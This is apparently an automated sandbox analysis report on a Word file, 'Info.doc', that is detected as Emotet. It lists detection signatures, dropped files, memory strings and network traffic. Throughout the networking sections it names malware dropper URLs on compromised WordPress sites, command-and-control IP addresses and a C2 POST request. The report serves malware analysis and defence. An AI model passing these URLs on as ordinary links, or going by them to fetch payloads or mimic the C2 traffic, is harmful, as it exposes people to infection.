Analysis Report Info.doc

Overview

General Information

Sample Name: Info.doc
Analysis ID: 336957
MD5: 37f5e7c688b8b8f664a9c8430f994f9f
SHA1: 98bd3f717551017517c306bd6d429f5d410a5dcd
SHA256: ab0d8e587ebfbed00f0e6aaf7d82e4d60cb3140c983820f25192303cce71828d

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
Found evasive API chain (may stop execution after checking a module file name)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: https://dagranitegiare.com/wp-admin/jCH/ Avira URL Cloud: Label: malware
Source: https://dagranitegiare.com/wp-admin/jCH/P Avira URL Cloud: Label: malware
Source: http://zhongshixingchuang.com/wp-admin/OTm/ Avira URL Cloud: Label: malware
Source: http://koreankidsedu.com/wp-content/2cQTh/ Avira URL Cloud: Label: malware
Source: http://www.greaudstudio.com/docs/FGn/ Avira URL Cloud: Label: malware
Source: https://dagranitegiare.com Avira URL Cloud: Label: phishing
Source: http://geoffoglemusic.com/wp-admin/x/ Avira URL Cloud: Label: malware
Source: https://suriagrofresh.com/serevers/MVDjI/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: dagranitegiare.com Virustotal: Detection: 8% Perma Link
Source: https://dagranitegiare.com/wp-admin/jCH/ Virustotal: Detection: 16% Perma Link
Source: http://zhongshixingchuang.com/wp-admin/OTm/ Virustotal: Detection: 15% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll ReversingLabs: Detection: 93%
Multi AV Scanner detection for submitted file
Source: Info.doc Virustotal: Detection: 69% Perma Link
Source: Info.doc ReversingLabs: Detection: 56%
Machine Learning detection for dropped file
Source: C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll Joe Sandbox ML: detected

Compliance:

barindex
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 45.119.81.203:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2095755658.0000000002080000.00000002.00000001.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: dagranitegiare.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 45.119.81.203:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 45.119.81.203:443

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 192.168.2.22:49168 -> 184.66.18.83:80
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp String found in memory: Autoplay,http://go.microsoft.com/fwlink/?LinkId=30564-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=131536-http://go.microsoft.com/fwlink/?LinkId=131535+http://go.microsoft.com/fwlink/?LinkId=8430
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp String found in memory: PRODUCT_KEY_PROBLEMS$ACTIVATION_TYPE_KEY_FIND_PRODUCT_KEY)ACTIVATION_TYPE_DIFF_KEY_FIND_PRODUCT_KEY+ACTIVATION_CHNG_TO_LICENSE_FIND_PRODUCT_KEYPA,ACTIVATION_PERIOD_EXPIRED_WHAT_IS_ACTIVATION-ACTIVATION_LICENSE_EXPIRED_WHAT_IS_ACTIVATION,ACTIVATION_LICENSE_EXPIRED_PRIVACY_STATEMENTPA,http://go.microsoft.com/fwlink/?LinkID=90983-http://go.microsoft.com/fwlink/?LinkId=123784PA$E77344FA-E978-464C-953E-EBA44F0522670ACTIVATION_ERROR_INSTALLING_REINSTALLING_WINDOWS$f3b8150b-0bd1-4fec-8283-7a1dd45c16377ACTIVATION_ERROR_REINSTALL_WINDOWS_CREATE_RESTORE_POINTPA-http://go.microsoft.com/fwlink/?LinkId=100109-http://go.microsoft.com/fwlink/?LinkId=100096-http://go.microsoft.com/fwlink/?LinkId=120830-http://go.microsoft.com/fwlink/?LinkId=120831,http://go.microsoft.com/fwlink/?LinkId=89429
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: Ease of Access Centero<a href="http://go.microsoft.com/fwlink/?linkid=63345">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63353">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63363">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63367">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63370">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63373">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63376">Learn about additional assistive technologies online</a>PA!Make your computer easier to use.BGet recommendations to make your computer easier to use (eyesight)CGet recommendations to make your computer easier to use (dexterity)AGet recommendations to make your computer easier to use (hearing)
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: Get recommendations to make your computer easier to use (speech)CGet recommendations to make your computer easier to use (cognitive)"Use the computer without a display
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: normal/http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/PA6http://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?Bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?Ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: Microsoft Corporation/(C) Microsoft Corporation. All rights reserved.9http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/QueryTOCExt.asp1res://wmploc.dll/Offline_MediaInfo_NowPlaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/IDPPage.asp)http://windowsmedia.com/redir/IDPLogo.asp
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: AMG Rating: %s stars:http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/QueryTOCNP.asp#Show Video and Visualization Window9http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?PA
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: Do you want to switch to it now?
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp String found in memory: http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5PA
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: http://zhongshixingchuang.com/wp-admin/OTm/
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: http://www.greaudstudio.com/docs/FGn/
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: http://koreankidsedu.com/wp-content/2cQTh/
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: http://expeditionquest.com/X/
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: https://suriagrofresh.com/serevers/MVDjI/
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: http://geoffoglemusic.com/wp-admin/x/
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in memory: https://dagranitegiare.com/wp-admin/jCH/
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 167.71.148.58 167.71.148.58
Source: Joe Sandbox View IP Address: 202.187.222.40 202.187.222.40
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
Source: Joe Sandbox View ASN Name: TTNET-MYTIMEdotComBerhadMY TTNET-MYTIMEdotComBerhadMY
Source: Joe Sandbox View ASN Name: LVSS-AS-VNLongVanSystemSolutionJSCVN LVSS-AS-VNLongVanSystemSolutionJSCVN
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /6nxx5oih3i78uw7qh7/m4898/4op628cd88c/ji50i68zs1/i9hmqo/ HTTP/1.1DNT: 0Referer: 167.71.148.58/6nxx5oih3i78uw7qh7/m4898/4op628cd88c/ji50i68zs1/i9hmqo/Content-Type: multipart/form-data; boundary=----------------------ObDr1IOf89xfNboPuN6RXhUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 167.71.148.58:443Content-Length: 6868Connection: Keep-AliveCache-Control: no-cache
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 45.119.81.203:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 184.66.18.83
Source: unknown TCP traffic detected without corresponding DNS query: 184.66.18.83
Source: unknown TCP traffic detected without corresponding DNS query: 202.187.222.40
Source: unknown TCP traffic detected without corresponding DNS query: 202.187.222.40
Source: unknown TCP traffic detected without corresponding DNS query: 202.187.222.40
Source: unknown TCP traffic detected without corresponding DNS query: 202.187.222.40
Source: unknown TCP traffic detected without corresponding DNS query: 202.187.222.40
Source: unknown TCP traffic detected without corresponding DNS query: 202.187.222.40
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: unknown TCP traffic detected without corresponding DNS query: 167.71.148.58
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4AB48CD7-B28F-4AE5-86AD-026C320EA73C}.tmp Jump to behavior
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2100613650.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097379165.0000000002060000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: powershell.exe, 00000005.00000002.2095525854.00000000003C7000.00000004.00000020.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: unknown DNS traffic detected: queries for: dagranitegiare.com
Source: unknown HTTP traffic detected: POST /6nxx5oih3i78uw7qh7/m4898/4op628cd88c/ji50i68zs1/i9hmqo/ HTTP/1.1DNT: 0Referer: 167.71.148.58/6nxx5oih3i78uw7qh7/m4898/4op628cd88c/ji50i68zs1/i9hmqo/Content-Type: multipart/form-data; boundary=----------------------ObDr1IOf89xfNboPuN6RXhUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 167.71.148.58:443Content-Length: 6868Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: powershell.exe, 00000005.00000002.2104542311.000000001B568000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000005.00000002.2104585609.000000001B59D000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.2095550087.0000000000414000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: powershell.exe, 00000005.00000002.2104386508.000000001B4E0000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: http://expeditionquest.com/X/
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: http://geoffoglemusic.com/wp-admin/x/
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2100613650.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097379165.0000000002060000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2100613650.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097379165.0000000002060000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: http://koreankidsedu.com/wp-content/2cQTh/
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2101263831.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097603957.0000000002247000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2111902319.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2101263831.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097603957.0000000002247000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2111902319.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000005.00000002.2104542311.000000001B568000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000005.00000002.2104542311.000000001B568000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://r3.i.lencr.org/0
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 00000005.00000002.2096214706.0000000002460000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2098993097.0000000002930000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000005.00000002.2106930484.000000001D360000.00000002.00000001.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2101263831.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097603957.0000000002247000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2111902319.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2101263831.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097603957.0000000002247000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2111902319.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2096214706.0000000002460000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2098993097.0000000002930000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101133353.0000000002800000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000005.00000002.2104573649.000000001B57F000.00000004.00000001.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: http://www.greaudstudio.com/docs/FGn/
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2100613650.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097379165.0000000002060000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: powershell.exe, 00000005.00000002.2106134219.000000001CEA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2101263831.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097603957.0000000002247000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2111902319.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2100613650.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097379165.0000000002060000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: http://zhongshixingchuang.com/wp-admin/OTm/
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp String found in binary or memory: https://dagranitegiare.com
Source: powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: https://dagranitegiare.com/wp-admin/jCH/
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp String found in binary or memory: https://dagranitegiare.com/wp-admin/jCH/P
Source: powershell.exe, 00000005.00000002.2104542311.000000001B568000.00000004.00000001.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000005.00000002.2097330160.0000000002F92000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100437393.0000000003B3C000.00000004.00000001.sdmp String found in binary or memory: https://suriagrofresh.com/serevers/MVDjI/
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000D.00000002.2107396520.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2110398368.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2116797461.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2096970876.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2115599459.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2117982629.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2109063945.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2119357685.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2119622142.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2111825774.00000000006B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2106262075.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2099926310.00000000001F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2096914563.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2101765881.0000000000380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2340256128.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2116722634.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2114509777.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2106324425.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2107481721.0000000000271000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2102126340.00000000003A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2109311078.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2098614058.0000000000690000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2115515890.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2110449108.00000000001C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2340299348.0000000000231000.00000020.00000001.sdmp, type: MEMORY
